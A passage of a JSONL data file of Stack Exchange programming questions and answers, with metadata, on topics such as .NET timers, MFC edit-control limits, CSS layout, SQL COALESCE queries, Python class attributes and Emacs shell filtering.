"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.463951"}
{"id": "hf_7ee2160da77e", "question": "<p>Are there any classes in the .NET framework I can use to throw an event if time has caught up with a specified DateTime object?</p>\n\n<p>If there isn't, what are the best practices when checking this? Create a new thread constantly checking? A timer (heaven forbid ;) )?</p>\n", "question_body": "", "answer": "When a thread is sleeping it consumes no CPU usage. A very simple way would be to have a thread which sleeps until the DateTime. For example\n```\n```\nDateTime future = DateTime.Now.Add(TimeSpan.FromSeconds(30));\n        new Thread(() =>\n        {\n            Thread.Sleep(future - DateTime.Now);\n            //RaiseEvent();\n        }).Start();\n```\n```\nThis basically says, get a date in the future (thirty seconds from now). Then create a thread which will sleep for the difference of the times. Then raise your event.\nEdit: Adding some more info about timers. There is nothing wrong with timers, but I think it might be more work. You could have a timer with an interval of the difference between the times. This will cause the tick event to fire when the time has caught up to the date time object. \nAn alternative, which I would not recommend, and I seem to think you have though of this, is to have a timer go off every five seconds and check to see if the times match. I would avoid that approach and stick with having the thread sleep until there is work to be done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.500129"}
{"id": "hf_458720dffe41", "question": "<p>What are the best online code beautifier and formatter out there? I'm not asking for highlighters. Any language will do.</p>\n", "question_body": "", "answer": "What language??  There are different tools for almost every imaginable programming language, since they all have different syntactic rules and conventions.\nGood ol'\n```\nindent\n```\nis a nice, customizable, command-line utility to format C and C++ programs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.525429"}
{"id": "hf_5241f288a40e", "question": "<p>I am trying to use a class from a C# assembly in vb.net. The class has ambiguous members because vb.net is case insensitive. The class is something like this:</p>\n\n<pre>\npublic class Foo {\n\n  public enum FORMAT {ONE, TWO, THREE};\n\n  public FORMAT Format {\n    get {...}\n    set {...}\n   }\n}\n</pre>\n\n<p>I try to access the enum: Foo.FORMAT.ONE</p>\n\n<p>This is not possible because there is also a property named 'format'.</p>\n\n<p>I can not change the C# assembly. How can I get around this and reference the enum from vb.net?</p>\n", "question_body": "", "answer": "I don't think you can get around this. Get in touch with the author of the C# component you are trying to use and convince them to fix their code.\nIncidentally, this is the primary reason behind the\n```\nCLSCompliant(true)\n```\nattribute, which if you are writing APIs or other code that has a high probability of being used by other languages you should always set. It would have flagged this issue for the original author to be aware of and fix correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.552136"}
{"id": "hf_ad2a1ebdfab8", "question": "<p>Need a refresher on bits/bytes, hex notation and how it relates to programming (C# preferred).</p>\n\n<p>Looking for a good reading list (online preferably).</p>\n", "question_body": "", "answer": "A bit is either 1 or 0.\nA byte is 8 bits.\nEach character in hex is 4 bits represented as 0-F\n0000 is 0\n0001 is 1\n0010 is 2\n0011 is 3\n...\n1110 is E\n1111 is F\nThere's a pretty good intro to C#'s bit-munching operations\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.583089"}
{"id": "hf_2441681b9c98", "question": "<p>trying to get a side project hobby going to keep me motivated from my 9-5 job on C# and was looking at Boo. some ?'s</p>\n\n<ul>\n<li>what has your experience being with Boo?</li>\n<li>what kind of apps/projects have you done with Boo or </li>\n<li>what is Boo capable of?</li>\n</ul>\n\n<p>Guess being the web world, would like to get my hands dirty with desktop applications etc.</p>\n", "question_body": "", "answer": "While it only uses Boo as the implementation language (rather than being fundamentally\nabout\nBoo), have you read Ayende's \"\nBuilding Domain Specific Languages in Boo\n\"? It's not fully published yet, but you can get an early access edition.\nI haven't had time to look carefully at Boo yet, but the\nmain\nadvantages over C# 3 (which gained some of Boo's features) appear to be terseness (lots of type inference) and metaprogramming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.706521"}
{"id": "hf_5baf05e0cff7", "question": "<p>Lets say I've got two interchangeable pieces of code and I want to figure out which one of them takes less processor time to execute. How would I do this?</p>\n\n<p>To get a very rough estimation I could just put NSLog() calls on either side of the code I wanted to profile, but it seems like the processor being otherwise very busy could skew the results.</p>\n", "question_body": "", "answer": "Unless one of these two pieces of code is already in your app,\nand\nyou've already profiled your app's overall performance to determine that the existing code is a major bottleneck, then what you're doing is called \"premature optimization.\"\nXcode includes an excellent\nprofiler\ntool called \"\nShark\n.\" For some versions, it's found in /Developer/Applications; for others, it's in a \"Performance Tools\" subdirectory.\nShark will tell you exactly how much time, as a percentage of overall execution time, your app is spending in each part of your code. The idea of using a tool like Shark is to follow the \"80/20 rule\" - your app will spend 80% of its time running 20% of its code, so for the best results you should spend 80% of\nyour\ntime optimizing that same 20%.\nSo, to answer your question directly, assuming that you\nhave\nrun Shark, and you're looking to optimize the topmost bottleneck, simply replace it with your optimized code and run your app under Shark again. Then, compare the percentage of the overall time being spent in the replacement code to that of the original.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.768547"}
{"id": "hf_47ae93fe8b56", "question": "<p>This is happening on Vista.\nI created a new dialog based MFC project to test this. I added a CEdit control to my dialog. I called SetLimitText to let my CEdit receive 100000 characters. I tried both:</p>\n\n<pre><code>this-&gt;m_cedit1.SetLimitText(100000);\nUpdateData(FALSE);\n</code></pre>\n\n<p>and </p>\n\n<pre><code>static_cast&lt;CEdit*&gt;(GetDlgItem(IDC_EDIT1))-&gt;LimitText(100000);\n</code></pre>\n\n<p>I placed these calls on InitDialog.</p>\n\n<p>after I paste 5461 characters into my CEdit, it becomes empty and unresponsive. Any ideas as to what is causing this and workarounds to be able to paste long strings of text in a CEdit or any other control?</p>\n\n<p>note: 5461 is 0x1555 or 1010101010101 in binary, which i find quite odd.</p>\n\n<p>if I paste 5460 characters I have no problems.</p>\n", "question_body": "", "answer": "I contacted microsof support.\nThe goal was to have approximately\n 240000 characters in one single\n editable line of text.\nI am able to reproduce the issue on\n Windows Vista (x64 and x32 both) but\nnot\non Windows XP.\nthis code works fine in XP:\n```\n```\nBOOL ClongeditXPDlg::OnInitDialog()\n {\n     CDialog::OnInitDialog();\n\n     // Set the icon for this dialog.  The framework does this automatically\n     //  when the application's main window is not a dialog\n     SetIcon(m_hIcon, TRUE);            // Set big icon\n     SetIcon(m_hIcon, FALSE);        // Set small icon\n\n     // TODO: Add extra initialization here\n     UINT limit = m_longEdit.GetLimitText();\n     m_longEdit.SetLimitText(240000);\n     UINT limit2 = m_longEdit.GetLimitText();\n\n     CString str;\n     str = _T(\"\");\n     for(int i = 0; i < 250000; i++)\n         str += _T(\"a\");\n\n     m_longEdit.SetWindowText(str);\n\n     return TRUE;  // return TRUE  unless you set the focus to a control\n }\n```\n```\nIf I use a CRichEdit control instead,\n when I press \"end\" key or \"right\n arrow\" key after pasting a long string\n inside, i cannot see all the\n characters in the Rich Edit Control.\n trying to scroll past the last visible\n character produces a beep. The rest of\n the characters are there, I know this\n because if i double-click the Rich\n Edit  Control and copy the text using\n ctrl-c and then paste it on  a text\n editor, I can see the 240000\n characters. So the control  is holding\n the right amount of characters, but\n the last  characters are not viewable\n except in an external editor, so  my\n original problem remains.\nHere are the answers by microsoft\n representatives:\nProblem here is that an edit control\n  with a large number of  characters in\n  it does not paint its text.\nI tried setting different characters,\n  and discovered that I  could fit more\n  'l's than 'x's than 'm's. The issue\n  isn't  directly the number of\n  characters, but is likely the number\n  of pixels.  Multiplying the number of\n  visible characters by  the pixel width\n  of the characters in the selected font\n  shows  that the limit is about 32k\n  pixels.\nanother answer from microsoft:\nI did extensive research on this issue\n  and would like to update you about the\n  case progress.\nThe primary difference between the\n  Edit control on Vista and on XP is\n  that the Edit control on Vista\n  pre-composes its glyphs for better\n  international support (internally, it\n  ends up calling ExtTextOut with\n  ETO_GLYPH_INDEX and an array of glyphs\n  rather than a string of characters. \n  This ends up saving the glyph indices\n  into a metafile and so runs into the\n  32k pixel limit. When too many\n  characters are provided, ExtTextOut\n  fails and draws nothing.  The Edit\n  control on XP doesn't precompose the\n  glyphs and so doesn't have this\n  problem, but won't handle\n  international characters as well.\nThe edit control on XP will clip at\n  32k, but since that is offscreen it\n  isn't obvious.  When scrolling to the\n  right, it starts with the first\n  visible character so the visible part\n  of the control is always earlier than\n  32k pixels.\nThe RichEdit control draws the\n  beginning, but after hitting End,\n  edits occur mostly offscreen. \n  RichEdit 3.0 and 4.1 gives similar\n  behavior.  This appears to be the 32k\n  pixel limit of RichEdit control, as\n  the it draws its text on an offscreen\n  bitmap before displaying it to the\n  screen.\nConsidering these points, the behavior\n  is by design. You would need to create\n  your own control to get the behavior\n  of displaying as big string as 240000\n  in a single line.\nand the last one:\nI did further research on this issue\n  for finding any light weight\n  workaround for overcoming 32k pixels\n  limit, but unfortunately it seems that\n  there is no workaround for this.\nCouple of alternatives that we tried\n  are RichEdit 3.0,  RichEdit\n  4.1, using UniScribe, using different fonts etc., but none of them seems to\n  suffice your requirement.\nPossibly, you would need to create\n  your own custom control if you wish to\n  display an editable single-line string\n  which exceeds 32k pixel limit in\n  Windows Vista.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.827543"}
{"id": "hf_385178eea4c8", "question": "<p>I'm trying to see if the user has pressed a decimal separator in a text box, and either allow or suppress it depending on other parameters.</p>\n\n<p>The NumberdecimalSeparator returns as 46, or '.' on my US system. Many other countries use ',' as the separator. The KeyDown event sets the KeyValue to 190 when I press the period.</p>\n\n<p>Do I just continue to look for commas/periods, or is there a better way?</p>\n", "question_body": "", "answer": "The call\n```\n```\nCultureInfo.CurrentUICulture.NumberFormat.NumberDecimalSeparator\n```\n```\ngets the decimal separator for the current user interface culture. You can use other cultures to get the separator for other languages.\nEDIT\nFrom the 166 cultures that are reported in my system (\n```\nCultureInfo.GetCultures(CultureTypes.SpecificCultures).Count()\n```\n), it seems that only two separators are used: period and comma. You can try this in your system:\n```\n```\nvar seps = CultureInfo.GetCultures(CultureTypes.SpecificCultures)\n            .Select(ci => ci.NumberFormat.NumberDecimalSeparator)\n            .Distinct()\n            .ToList();\n```\n```\nAssuming that this is true, this method may be helpful (note that the\n```\nkeyCode\n```\nis OR'ed with the\n```\nmodifiers\n```\nflag in order to eliminate invalid combinations):\n```\n```\nprivate bool IsDecimalSeparator(Keys keyCode, Keys modifiers)\n    {\n        Keys fullKeyCode = keyCode | modifiers;\n        if (fullKeyCode.Equals(Keys.Decimal))          // value=110\n            return true;\n\n        string uiSep = CultureInfo.CurrentUICulture.NumberFormat.NumberDecimalSeparator;\n        if (uiSep.Equals(\".\"))\n            return fullKeyCode.Equals(Keys.OemPeriod); // value=190\n        else if (uiSep.Equals(\",\"))\n            return fullKeyCode.Equals(Keys.Oemcomma);  // value=188\n        throw new ApplicationException(string.Format(\"Unknown separator found {0}\", uiSep));\n    }\n```\n```\nA last note: According to\nKeys enumeration\n, the value 46 that you mention corresponds to the DEL (Delete) key (i.e. the point when Num Lock is OFF).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.852090"}
{"id": "hf_5500f566ee5b", "question": "<p>How can I setup a default value to a property defined as follow:</p>\n\n<pre><code>public int MyProperty { get; set; }\n</code></pre>\n\n<p>That is using \"prop\" [tab][tab] in VS2008 (code snippet).</p>\n\n<p>Is it possible without falling back in the \"old way\"?:</p>\n\n<pre><code>private int myProperty = 0; // default value\npublic int MyProperty\n{\n    get { return myProperty; }\n    set { myProperty = value; }\n}\n</code></pre>\n\n<p>Thanks for your time.\nBest regards.</p>\n", "question_body": "", "answer": "Just set the \"default\" value within your constructor.\n```\n```\npublic class Person\n{\n   public Person()\n   {\n       this.FirstName = string.Empty;\n   }\n\n   public string FirstName { get; set; }\n}\n```\n```\nAlso, they're called Automatic Properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.877221"}
{"id": "hf_5c8c901e9e72", "question": "<p>I'm working on moving from using tables for layout purposes to using divs (yes, yes the great debate).  I've got 3 divs, a header, content and footer.  The header and footer are 50px each.  How do I get the footer div to stay at the bottom of the page, and the content div to fill the space in between?  I don't want to hard code the content divs height because the screen resolution can change.</p>\n", "question_body": "", "answer": "if you are trying to maximize the height of your content div, in the CSS add\nheight: 100%;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.928002"}
{"id": "hf_c7467a1ecfed", "question": "<p>I have a menu that I am using and it will change the background color when I hover using <code>a:hover</code> but I want to know how to change the <code>class=line</code> so that it sticks.  </p>\n\n<p>So from the home if they click contacts the home pages </p>\n\n<blockquote>\n  <p>from (a href=\"#\" class=\"clr\") to (a href=\"#\")</p>\n</blockquote>\n\n<p>and Contacts would change  </p>\n\n<blockquote>\n  <p>from (a href=\"#\") to (a href=\"#\" class=\"clr\")</p>\n</blockquote>\n\n<p>any help?</p>\n\n<p>JD</p>\n", "question_body": "", "answer": "The way to change class (I assume you're talking of the DOM), in javascript is:\n```\n```\ndocument.getElementById(\"element\").className='myClass';\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:59.975366"}
{"id": "hf_722336dfc325", "question": "<p>How can I replace multiple spaces in a string with only one space in C#?</p>\n\n<p>Example:</p>\n\n<pre><code>1 2 3  4    5\n</code></pre>\n\n<p>would be:</p>\n\n<pre><code>1 2 3 4 5\n</code></pre>\n", "question_body": "", "answer": "```\n```\nstring sentence = \"This is a sentence with multiple    spaces\";\nRegexOptions options = RegexOptions.None;\nRegex regex = new Regex(\"[ ]{2,}\", options);     \nsentence = regex.Replace(sentence, \" \");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.011128"}
{"id": "hf_d0bed8fd21fb", "question": "<p>The following seems strange.. Basically, the somedata attribute seems shared between all the classes that inherited from <code>the_base_class</code>.</p>\n\n<pre><code>class the_base_class:\n    somedata = {}\n    somedata['was_false_in_base'] = False\n\n\nclass subclassthing(the_base_class):\n    def __init__(self):\n            print self.somedata\n\n\nfirst = subclassthing()\n{'was_false_in_base': False}\nfirst.somedata['was_false_in_base'] = True\nsecond = subclassthing()\n{'was_false_in_base': True}\n&gt;&gt;&gt; del first\n&gt;&gt;&gt; del second\n&gt;&gt;&gt; third = subclassthing()\n{'was_false_in_base': True}\n</code></pre>\n\n<p>Defining <code>self.somedata</code> in the <code>__init__</code> function is obviously the correct way to get around this (so each class has it's own <code>somedata</code> dict) - but when is such behavior desirable?</p>\n", "question_body": "", "answer": "You are right,\n```\nsomedata\n```\nis shared between all instances of the class and it's subclasses, because it is created at class\ndefinition\ntime. The lines\n```\n```\nsomedata = {}\nsomedata['was_false_in_base'] = False\n```\n```\nare executed when the class is defined, i.e. when the interpreter encounters the\n```\nclass\n```\nstatement -\nnot\nwhen the instance is created (think static initializer blocks in Java). If an attribute does not exist in a class instance, the class object is checked for the attribute.\nAt class definition time, you can run arbritrary code, like this:\n```\n```\nimport sys\n class Test(object):\n     if sys.platform == \"linux2\":\n         def hello(self):\n              print \"Hello Linux\"\n     else:\n         def hello(self):\n              print \"Hello ~Linux\"\n```\n```\nOn a Linux system,\n```\nTest().hello()\n```\nwill print\n```\nHello Linux\n```\n, on all other systems the other string will be printed.\nIn constrast, objects in\n```\n__init__\n```\nare created at\ninstantiation\ntime and belong to the instance only (when they are assigned to\n```\nself\n```\n):\n```\n```\nclass Test(object):\n    def __init__(self):\n        self.inst_var = [1, 2, 3]\n```\n```\nObjects defined on a class object rather than instance can be useful in many cases. For instance, you might want to cache instances of your class, so that instances with the same member values can be shared (assuming they are supposed to be immutable):\n```\n```\nclass SomeClass(object):\n    __instances__ = {}\n\n    def __new__(cls, v1, v2, v3):\n        try:\n            return cls.__insts__[(v1, v2, v3)]\n        except KeyError:\n            return cls.__insts__.setdefault(\n               (v1, v2, v3), \n               object.__new__(cls, v1, v2, v3))\n```\n```\nMostly, I use data in class bodies in conjunction with metaclasses or generic factory methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.070675"}
{"id": "hf_4f4fdf2170d8", "question": "<p>I need a SQL query that returns ContactDate, SortName, City, ContactType, and Summary from the tables below. If any value is null, I need it to return the text “No Entry”.</p>\n\n<p><strong>ContactTable</strong></p>\n\n<ul>\n<li><em>ContactID</em></li>\n<li>ContactDate </li>\n<li>UserID </li>\n<li>Summary </li>\n<li>ContactType</li>\n<li>SortName</li>\n</ul>\n\n<p><strong>UserTable</strong></p>\n\n<ul>\n<li><em>UserID</em></li>\n<li>FirstName</li>\n<li>LastName </li>\n<li>AddressID</li>\n</ul>\n\n<p><strong>AddressTable</strong></p>\n\n<ul>\n<li><em>AddressID</em></li>\n<li>City</li>\n<li>Street </li>\n<li>State</li>\n<li>Zip</li>\n</ul>\n", "question_body": "", "answer": "```\n```\nSELECT COALESCE(CAST(CONVERT(VARCHAR(10), ContactTable.ContactDate, 101) AS VARCHAR(10)), 'No Entry') AS ContactDate,\n       COALESCE(ContactTable.SortName, 'No Entry') AS SortName,\n       COALESCE(AddressTable.City, 'No Entry') AS City,\n       COALESCE(ContactTable.ContactType, 'No Entry') AS ContactType\nFROM ContactTable\nLEFT OUTER JOIN UserTable ON ContactTable.UserID = UserTable.UserID\nLEFT OUTER JOIN AddressTable ON UserTable.AddressID = AddressTable.AddressID\n```\n```\nHere\nis a chart of SQL DateTime formats for the CONVERT statement above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.095248"}
{"id": "hf_b23eaf6a2614", "question": "<p>Occasionally my MS Access reports: </p>\n\n<blockquote>\n  <p>The search key was not found in any record</p>\n</blockquote>\n\n<p>After this happens the solution is to close Access, compact and\nrepair the backend and then delete the record.</p>\n\n<p>What causes this and how can I avoid it?</p>\n", "question_body": "", "answer": "You do not mention the version of Access that you are using. Microsoft reports a bug in 2000:\nBUG: You receive a \"The search key was not found in any record\" error message when you compact a database or save design changes in Access 2000\nhttp://support.microsoft.com/kb/301474\nIf this is not your problem, here is a pretty comprehensive FAQ by Tony Toews, Microsoft Access MVP:\nCorrupt Microsoft Access MDBs FAQ\nhttp://www.granite.ab.ca/access/corruptmdbs.htm\nIf the problem is constantly occuring, you need to find the reason for the corruption of your table, and you will find a number of suggestions for tracking the cause in the site link above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.120075"}
{"id": "hf_a67433fc57d4", "question": "<p>I have a couple tables in which I created an object ID as either an Int or Bigint, and in both cases, they seem to autoincrement by 10 (ie, the first insert is object ID 1, the second is object ID 11, the third is object ID 21, etc).  Two questions:</p>\n\n<ol>\n<li><p>Why does it do that?</p></li>\n<li><p>Is that a problem?</p></li>\n</ol>\n", "question_body": "", "answer": "Check to see the seed value of the autoincrement isn't set to 10.\nYou can check by:\n```\n```\nSELECT Auto_increment FROM information_schema.tables WHERE table_name='the_table_you_want';\n```\n```\nAs noted elsewhere you can change by using the system variable @@set_auto_increment_increment\n```\n```\nSET @@auto_increment_increment=1;\n```\n```\nIf you want to start the values at a number other than one you can go:\n```\n```\nALTER TABLE tbl AUTO_INCREMENT = 100;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.169016"}
{"id": "hf_3bb0468b5e4c", "question": "<p>In a previous question, I learned how to keep a footer div at the bottom of the page. (<a href=\"https://stackoverflow.com/questions/206652/how-to-create-div-to-fill-all-space-between-header-and-footer-div\">see other question</a>)</p>\n\n<p>Now I'm trying to vertically center content between the header and footer divs.</p>\n\n<p>so what I've got is:</p>\n\n<pre><code>#divHeader\n{\n    height: 50px;\n}\n\n#divContent\n{\n    position:absolute;\n}\n\n#divFooter\n{\n    height: 50px;\n    position:absolute;\n    bottom:0;\n    width:100%;\n}\n&lt;div id=\"divHeader\"&gt;\n    Header\n&lt;/div&gt;\n&lt;div id=\"divContent\"&gt;\n    Content\n&lt;/div&gt;\n&lt;div id=\"divFooter\"&gt;\n    Footer\n&lt;/div&gt;\n</code></pre>\n\n<p>I've tried creating a parent div to house the existing 3 divs and giving that div a vertical-align:middle; but that gets me nowhere.</p>\n", "question_body": "", "answer": "You need to either set the\n```\nheight\n```\nof the div to fill the whole content area or its coordinates have to be in the center. Something like\n```\ntop:50%; left:50%\n```\nbut of course that will make the div a bit off to the bottom-right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.230020"}
{"id": "hf_27790ec7ae93", "question": "<p>I have a JavaScript resource that has the possibility of being edited at any time. Once it is edited I would want it to be propagated to the user's browser relatively quickly (like maybe 15 minutes or so), however, the frequency of this resource being editing is few and far between (maybe 2 a month).</p>\n\n<p>I'd rather the resource to be cached in the browser, since it will be retrieved frequently, but I'd also like the cache to get reset on the browser at a semi-regular interval.</p>\n\n<p>I know I can pass a no-cache header when I request for the resource, but I was wondering when the cache would automatically reset itself on the browser if I did not pass no-cache.</p>\n\n<p>I imagine this would be independent for each browser, but I'm not sure.</p>\n\n<p>I tried to Google this, but most of the hits I found were about clearing the browser's cache... which isn't what I'm looking for.</p>\n", "question_body": "", "answer": "Put a version on your javascript code like this that is updated when you make a change\n```\n```\n<script src=\"/code.js?ver=123\" type=\"text/javascript\"></script>\n```\n```\nThey will then always get new version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.265066"}
{"id": "hf_f6182a72af27", "question": "<p>When I dump a Sybase database, it doesn't seem to matter whether there's data in the tables or not, the file size is the same. I've been told that this is down to the fact that my dump file is binary and not logical, so the file of the dump file is based on the allocated size of the database. I know that Oracle can use logical dump files, but can I get Sybase to do the something similar, or is there any other sneaky ways of getting the dump file size down?</p>\n", "question_body": "", "answer": "Since somewhere around version 12 you have been able to perform compressed dumps in ASE.\nThe syntax is:\ndump database database_name to file_name [ with compression=compress_level]\ncompress_level is 0-9. 0 is no compression and 9 is the most. The more you compress the higher the CPU usage whilst running the dump. You just need to peform a little testing to find an appropriate balance of size versus performance.\nNo special commands are needed to load the dump.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.289583"}
{"id": "hf_737dba675c1f", "question": "<p>Since I've started to use jQuery, I have been doing a lot more JavaScript development.</p>\n\n<p>I have the need to parse different date formats and then to display them into another format.</p>\n\n<p>Do you know of any good tool to do this?</p>\n\n<p>Which one would you recommend?</p>\n", "question_body": "", "answer": "2014 update:\nMoment.js\nis an excellent date manipulation library, which includes parsing functions. It doesn't include automatic date format detection, but you can\nspecify multiple parsing patterns\n.\nDo you know the format of the dates before hand though, or are they user input?\nA deprecated library for parsing dates is Datejs\n. It hasn't been updated since 2007.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.326103"}
{"id": "hf_310524620080", "question": "<p>In vi[m] there is the <a href=\"http://www.softpanorama.org/Editors/Vimorama/vim_piping.shtml\" rel=\"noreferrer\"><code>!</code> command which lets me pipe text</a> through a shell command -- like sort or indent -- and get the filtered text back into the buffer. Is there an equivalent in emacs?</p>\n", "question_body": "", "answer": "Late edit\n: As much as I appreciate the upvotes, Jurta's answer is the way to go. And Greg's hack is neater than mine.\nI'll leave the rest of this here because it might be worth something, but...\n```\nM-x shell-command-on-region\n```\n, which appears to be bound to\n```\nM-|\n```\nby default.\nI see that this does not do exactly what Rohit asked for. Using\n```\nC-h f shell-command-on-region\n```\nreveals that the desired behavior is available in the non-interactive version of the command (by setting the argument\n```\nreplace\n```\nto non-nil). We should be able to write a wrapper to do this.\nTry this (load it into\n```\n*scratch*\n```\nand run\n```\nM-x eval-buffer\n```\n, if it works, copy it to your .emacs file):\n```\n```\n(defun shell-command-on-region-replace (start end command)\n  \"Run shell-command-on-region interactivly replacing the region in place\"\n  (interactive (let (string) \n         (unless (mark)\n           (error \"The mark is not set now, so there is no region\"))\n         ;; Do this before calling region-beginning\n         ;; and region-end, in case subprocess output\n         ;; relocates them while we are in the minibuffer.\n         ;; call-interactively recognizes region-beginning and\n         ;; region-end specially, leaving them in the history.\n         (setq string (read-from-minibuffer \"Shell command on region: \"\n                            nil nil nil\n                            'shell-command-history))\n         (list (region-beginning) (region-end)\n               string)))\n  (shell-command-on-region start end command t t)\n  )\n```\n```\nAnd note as I say in the comments that this is not a very emacsy thing to do. But I think it works.\nFor any readers who don't know how to select a region:\nMove the \"point\" (current cursor position) to one end of the region, and use\n```\nC-space\n```\nto activate the \"mark\"\nMove the point to the other end of the region\nYour done, invoke the command", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:00.386560"}
{"id": "hf_0f7452d47c68", "question": "<p>I would like to either prevent or handle a <code>StackOverflowException</code> that I am getting from a call to the <code>XslCompiledTransform.Transform</code> method within an <code>Xsl Editor</code> I am writing. The problem seems to be that the user can write an <code>Xsl script</code> that is infinitely recursive, and it just blows up on the call to the <code>Transform</code> method.  (That is, the problem is not just the typical programmatic error, which is usually the cause of such an exception.)</p>\n\n<p>Is there a way to detect and/or limit how many recursions are allowed?  Or any other ideas to keep this code from just blowing up on me?</p>\n", "question_body": "", "answer": "From Microsoft:\nStarting with the .NET Framework\n  version 2.0, a StackOverflowException\n  object cannot be caught by a try-catch\n  block and the corresponding process is\n  terminated by default. Consequently,\n  users are advised to write their code\n  to detect and prevent a stack\n  overflow. For example, if your\n  application depends on recursion, use\n  a counter or a state condition to\n  terminate the recursive loop.\nI'm assuming the exception is happening within an internal .NET method, and not in your code.\nYou can do a couple things.\nWrite code that checks the xsl for infinite recursion and notifies the user prior to applying a transform (Ugh).\nLoad the XslTransform code into a separate process (Hacky, but less work).\nYou can use the Process class to load the assembly that will apply the transform into a separate process, and alert the user of the failure if it dies, without killing your main app.\nEDIT: I just tested, here is how to do it:\nMainProcess:\n```\n```\n// This is just an example, obviously you'll want to pass args to this.\nProcess p1 = new Process();\np1.StartInfo.FileName = \"ApplyTransform.exe\";\np1.StartInfo.UseShellExecute = false;\np1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;\n\np1.Start();\np1.WaitForExit();\n\nif (p1.ExitCode == 1)    \n   Console.WriteLine(\"StackOverflow was thrown\");\n```\n```\nApplyTransform Process:\n```\n```\nclass Program\n{\n    static void Main(string[] args)\n    {\n        AppDomain.CurrentDomain.UnhandledException += new 